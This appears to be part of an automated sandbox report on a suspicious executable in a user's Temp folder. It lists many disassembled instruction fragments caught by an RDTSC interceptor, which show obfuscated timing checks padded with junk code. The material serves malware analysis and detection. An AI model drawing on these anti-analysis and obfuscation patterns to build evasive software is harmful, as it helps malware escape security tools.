Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B4BA second address: E9B4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B4C3 second address: E9B4C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B667 second address: E9B695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ecx 0x00000009 jng 00007F47311907A8h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F47311907B5h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B695 second address: E9B6B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F473118FE67h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B6B9 second address: E9B6BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B6BD second address: E9B6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B6C3 second address: E9B6CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F47311907A6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B8BD second address: E9B8C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F473118FE56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B8C7 second address: E9B8CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B8CB second address: E9B8ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F473118FE67h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B8ED second address: E9B903 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B903 second address: E9B925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jnp 00007F473118FE56h 0x0000000c pop ecx 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F473118FE60h 0x00000018 jmp 00007F473118FE5Ah 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B925 second address: E9B93A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F47311907A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9B93A second address: E9B93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9BA8E second address: E9BA92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9BA92 second address: E9BACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F473118FE69h 0x0000000b popad 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D2FB5h], eax 0x00000013 push 00000004h 0x00000015 mov edi, dword ptr [ebp+122D2EEDh] 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 push edi 0x00000022 pop edi 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9BF26 second address: E9BF30 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F47311907A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9C2EC second address: E9C2F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F473118FE56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE0C4F second address: EE0C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE0C53 second address: EE0C6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE0F48 second address: EE0F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47311907ACh 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE10BD second address: EE10D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F473118FE5Fh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE1251 second address: EE1263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F47311907A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE1263 second address: EE1267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE1267 second address: EE1279 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 jl 00007F47311907C2h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5CCD3 second address: E5CCDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5CCDF second address: E5CCE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E5CCE3 second address: E5CD0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jl 00007F473118FE9Ch 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F473118FE63h 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE5E91 second address: EE5E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE5E97 second address: EE5EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007F473118FE62h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE5EAE second address: EE5EC8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F47311907B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F47311907A6h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE8B5D second address: EE8B94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F473118FE56h 0x0000000b jmp 00007F473118FE68h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F473118FE5Fh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE8B94 second address: EE8B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE8D20 second address: EE8D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE8D24 second address: EE8D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F47311907B0h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE8D3F second address: EE8D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE8D47 second address: EE8D66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47311907B9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EE8EB5 second address: EE8ED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F473118FE67h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEFE43 second address: EEFE64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F47311907A6h 0x0000000a jmp 00007F47311907B7h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEFE64 second address: EEFEAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F473118FE69h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 js 00007F473118FE56h 0x00000016 js 00007F473118FE56h 0x0000001c pop eax 0x0000001d jmp 00007F473118FE67h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEE7F9 second address: EEE813 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F47311907A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F47311907AAh 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEE813 second address: EEE817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEE817 second address: EEE81D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEE81D second address: EEE829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEE829 second address: EEE833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEE833 second address: EEE838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEE838 second address: EEE86D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F47311907B8h 0x00000009 jmp 00007F47311907B9h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEE86D second address: EEE873 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEECAD second address: EEECB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEEDD0 second address: EEEDD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEEDD4 second address: EEEDD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9BC59 second address: E9BCD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jno 00007F473118FE56h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ebx 0x00000010 push ecx 0x00000011 jmp 00007F473118FE67h 0x00000016 pop ecx 0x00000017 pop ebx 0x00000018 nop 0x00000019 clc 0x0000001a mov ebx, dword ptr [ebp+12481E8Ah] 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007F473118FE58h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a mov dword ptr [ebp+122D2F41h], esi 0x00000040 mov ecx, dword ptr [ebp+122D1CD3h] 0x00000046 add eax, ebx 0x00000048 jmp 00007F473118FE69h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 push ecx 0x00000053 pop ecx 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: E9BCD9 second address: E9BCE3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F47311907A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEF0BB second address: EEF0C5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F473118FE56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEF0C5 second address: EEF0DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F47311907AEh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEF0DD second address: EEF0E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EEF0E3 second address: EEF0E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EF933F second address: EF9345 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EF9345 second address: EF934A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EF888A second address: EF88A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F473118FE64h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EF89D5 second address: EF89D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EF89D9 second address: EF89F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F473118FE5Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EF8CA5 second address: EF8CA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EF8CA9 second address: EF8CAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EFEE2F second address: EFEE4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F47311907B6h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EFEE4B second address: EFEE4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EFF3D8 second address: EFF3DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EFF3DE second address: EFF3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: EFF3E2 second address: EFF40D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F47311907A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F47311907AAh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F47311907B5h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F004DA second address: F004E6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F473118FE5Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F00B04 second address: F00B0A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F06741 second address: F0674B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F473118FE56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F0674B second address: F0675E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b js 00007F47311907A6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F09C52 second address: F09C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F09C5B second address: F09C65 instructions: 0x00000000 rdtsc 0x00000002 je 00007F47311907A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F09F5B second address: F09F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F09F5F second address: F09F80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F47311907AAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007F47311907ACh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F0A0F9 second address: F0A119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007F473118FE68h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F0A65C second address: F0A66B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F47311907A6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F0A66B second address: F0A66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F0A66F second address: F0A675 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F0A675 second address: F0A67A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F10CC6 second address: F10CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F47311907B7h 0x00000009 popad 0x0000000a push ecx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F10E43 second address: F10E72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F473118FE68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F473118FE5Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F11433 second address: F11437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F11437 second address: F11444 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F473118FE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F116F5 second address: F116F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F116F9 second address: F1170B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F473118FE56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnp 00007F473118FE56h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	RDTSC instruction interceptor: First address: F1170B second address: F1170F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
